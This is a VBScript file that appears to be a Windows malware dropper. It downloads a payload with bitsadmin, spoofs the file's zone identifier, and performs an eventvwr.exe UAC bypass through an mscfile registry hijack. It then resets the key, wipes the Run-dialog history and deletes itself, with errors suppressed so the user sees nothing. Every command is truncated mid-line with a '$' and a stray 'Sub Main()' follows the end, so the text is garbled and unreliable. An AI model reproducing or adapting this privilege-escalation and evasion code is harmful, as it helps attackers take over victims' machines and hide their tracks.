Sub Main()
        'Download File
        CreateObject("WScript.Shell").run("cmd /c bitsadmin /transfer SoftUpdat$
        'Set new zoneId
        CreateObject("WScript.Shell").run("cmd.exe /C echo [zoneTransfer]ZoneID$
        'Write UAC bypass regkey
        CreateObject("WScript.Shell").RegWrite "HKCU\Software\Classes\mscfile\s$
        'Trigger UAC bypass
        CreateObject("WScript.Shell").Run("eventvwr.exe"),0,true
        'Reset regkey
        GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & "." & "\root$
        'Clear the run-dialog history
        CreateObject("WScript.Shell").Run("cmd.exe /C reg delete HKEY_CURRENT_U$
        'Remove this script
        CreateObject("WScript.Shell").Run "cmd /c del " + WScript.ScriptFullNam$
End Sub
'Dont wanna display shit
On Error Resume Next
Sub Main()